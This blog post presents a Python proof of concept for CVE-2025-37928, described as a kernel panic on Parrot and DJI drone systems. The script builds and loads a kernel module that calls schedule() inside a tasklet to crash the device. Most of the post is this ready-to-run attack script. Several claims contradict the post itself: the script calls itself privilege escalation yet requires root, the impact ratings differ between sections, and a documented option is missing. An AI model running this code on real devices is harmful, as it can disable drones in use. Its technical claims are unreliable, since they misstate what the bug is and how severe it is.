Parrot & DJI Drone OS Kernel Panic via schedule() in Atomic Context (CVE-2025-37928)
This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.
Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.
Disclosure status: Full Disclosure
CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.
Content *
Overview
A vulnerability tracked as CVE-2025-37928 affects Linux-based operating systems used in drones manufactured by Parrot and DJI.
The issue arises when the Linux kernel improperly allows schedule() to be invoked within an atomic context, resulting in a kernel panic.
This vulnerability can be exploited locally to cause a complete system crash, impacting availability and potentially disrupting drone operations.
Affected Systems
Affected drone platforms include:
- Parrot QRD
- Parrot Alpha-M
- DJI QRD
- DJI Alpha-M
Affected kernel versions (observed):
- Linux 5.10
- Linux 5.15
- Linux 6.0
Technical Details
The vulnerability is triggered when:
schedule();
is executed inside an atomic context (e.g., tasklets or interrupt handlers).
In Linux kernel design:
- Atomic contexts must not sleep
schedule()attempts to yield CPU → requires sleeping- This mismatch leads to a kernel panic
The PoC uses a tasklet to execute the vulnerable call:
DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);
When the module is loaded:
- Tasklet is scheduled
schedule()is executed inside atomic context- Kernel detects invalid state
- Immediate panic occurs
Proof of Concept (PoC)
The provided Python script:
- Builds a malicious kernel module
- Loads it into the system
- Triggers the kernel panic
#!/usr/bin/env python3
# Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-10
# Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
# CVE: CVE-2025-37928
# Type: Local Privilege Escalation / Kernel Panic
# Platform: Linux-based drone OS (Parrot and DJI variants)
# Author Country: Jordan
# CVSS v3.1 Score: 7.3 (Important)
# Weakness: CWE-284: Improper Access Control
# Attack Vector: Local
# User Interaction: None
# Scope: Unchanged
# Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic)
# Exploit Code Maturity: Proof of Concept
# Remediation Level: Official Fix Available
#
# Description:
# This PoC triggers a kernel panic by calling schedule() inside an atomic context,
# exploiting CVE-2025-37928 present in certain Linux kernels running on
# Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems.
#
# Steps of exploitation:
# 1. Check if running as root.
# 2. Verify kernel version vulnerability.
# 3. Detect drone type from system files.
# 4. Build and load vulnerable kernel module.
# 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context.
#
# Affected Drone Versions:
# - Parrot QRD
# - Parrot Alpha-M (DT)
# - DJI QRD
# - DJI Alpha-M (DT)
#
# ------------------------------------------------------------------------------
# Usage:
# sudo python3 cve_2025_37928_tool.py [OPTIONS]
#
# Options:
# --dry-run Run detection & build only (no module loading)
# --force Force exploit even if kernel not detected as vulnerable
# --cleanup-only Remove the kernel module without triggering panic
# --verbose Enable detailed logging and debug output
# --help Show usage information
#
# Examples:
# sudo python3 cve_2025_37928_tool.py --dry-run
# sudo python3 cve_2025_37928_tool.py
# sudo python3 cve_2025_37928_tool.py --force
# sudo python3 cve_2025_37928_tool.py --cleanup-only
#
# Warning:
# This PoC causes an immediate kernel panic.
# Use it ONLY in isolated and controlled environments (e.g., lab tests).
# ------------------------------------------------------------------------------
import os
import sys
import subprocess
import tempfile
import argparse
import shutil
import platform
MODULE_NAME = "cve_2025_37928_poc"
C_FILENAME = MODULE_NAME + ".c"
KO_FILENAME = MODULE_NAME + ".ko"
KERNEL_MODULE_CODE = r'''
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/sched.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("PoC Author");
MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic");
static void trigger_panic_tasklet(unsigned long data)
{
pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n");
schedule(); // This causes kernel panic
}
DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);
static int __init poc_init(void)
{
pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n");
tasklet_schedule(&my_tasklet);
return 0;
}
static void __exit poc_exit(void)
{
tasklet_kill(&my_tasklet);
pr_info("[CVE-2025-37928] PoC module unloaded\n");
}
module_init(poc_init);
module_exit(poc_exit);
'''
MAKEFILE_CONTENT = f'''
obj-m += {MODULE_NAME}.o
all:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
'''
def check_root():
if os.geteuid() != 0:
print("[-] Must be run as root.")
sys.exit(1)
def detect_kernel():
version = platform.release()
vulnerable_versions = ["5.10", "5.15", "6.0"]
vulnerable = any(v in version for v in vulnerable_versions)
print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}")
return vulnerable
def detect_drone_type():
print("[*] Detecting drone type...")
files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"]
found = []
for path in files:
if os.path.exists(path):
try:
with open(path, "r") as f:
content = f.read().strip()
if any(x in content for x in ["Parrot", "DJI"]):
found.append(content)
except:
continue
if found:
for d in found:
print(f" [i] Found: {d}")
else:
print(" [!] No drone ID found.")
return found
def write_module(tempdir):
c_path = os.path.join(tempdir, C_FILENAME)
makefile_path = os.path.join(tempdir, "Makefile")
with open(c_path, "w") as f:
f.write(KERNEL_MODULE_CODE)
with open(makefile_path, "w") as f:
f.write(MAKEFILE_CONTENT)
return c_path
def build_module(tempdir):
print("[*] Building module...")
result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True)
if result.returncode != 0:
print("[-] Build failed:\n", result.stderr)
sys.exit(1)
print("[+] Build successful.")
return os.path.join(tempdir, KO_FILENAME)
def load_module(ko_path):
print("[*] Loading kernel module...")
result = subprocess.run(["insmod", ko_path], capture_output=True, text=True)
if result.returncode != 0:
print("[-] insmod failed:\n", result.stderr)
sys.exit(1)
print("[!] Module loaded. Kernel panic should occur if vulnerable.")
def unload_module():
print("[*] Attempting to remove module...")
subprocess.run(["rmmod", MODULE_NAME], stderr=subprocess.DEVNULL)
print("[+] Module removal attempted.")
def clean_build(tempdir):
subprocess.run(["make", "clean"], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def main():
parser = argparse.ArgumentParser(description="CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes")
parser.add_argument("--dry-run", action="store_true", help="Only simulate and check environment, no exploitation")
parser.add_argument("--force", action="store_true", help="Force execution even if version unknown")
parser.add_argument("--cleanup-only", action="store_true", help="Just remove kernel module if loaded")
args = parser.parse_args()
check_root()
if args.cleanup_only:
unload_module()
return
vulnerable = detect_kernel()
detect_drone_type()
if not vulnerable and not args.force:
print("[-] Kernel not identified as vulnerable. Use --force to override.")
sys.exit(1)
if args.dry_run:
print("[*] Dry run mode. Exiting before exploitation.")
return
with tempfile.TemporaryDirectory() as tempdir:
print(f"[*] Working directory: {tempdir}")
write_module(tempdir)
ko_path = build_module(tempdir)
try:
load_module(ko_path)
except KeyboardInterrupt:
print("[!] Interrupted. Attempting cleanup...")
finally:
unload_module()
clean_build(tempdir)
if __name__ == "__main__":
main()
How the Exploit Works
Execution flow:
- Verify root privileges
- Detect kernel version
- Identify drone platform
- Compile kernel module dynamically
- Load module using
insmod - Tasklet executes
schedule() - Kernel panic occurs
Impact
Successful exploitation leads to:
- Immediate kernel crash
- Full denial of service
- Loss of drone control (temporary)
- Potential mission disruption
Impact severity:
- Availability: High
- Integrity: High
- Confidentiality: Low
CVSS Score: 7.3 (High)
Attack Requirements
- Local access to the drone system
- Root privileges
- Ability to load kernel modules
Mitigation
Recommended actions:
- Apply vendor patches for affected kernels
- Restrict kernel module loading (
module signing) - Disable unnecessary root access
- Monitor system logs for abnormal kernel activity
Disclosure Timeline
- 2025-06-10 — Vulnerability discovered
- 2025-06-10 — PoC developed
- 2025-06-XX — Vendor notified
- 2025-XX-XX — Patch released
Researcher
Security research conducted by:
Mohammed Idrees Banyamer
Cybersecurity Researcher – Jordan 🇯🇴
GitHub: https://github.com/mbanyamer
Instagram: @banyamer_security
Disclaimer
This proof-of-concept is provided for educational purposes and authorized testing only. Running this exploit will crash the system and should only be performed in controlled environments.
Disclosure: Full Disclosure
Comments
No comments yet. Be the first.
Leave a Comment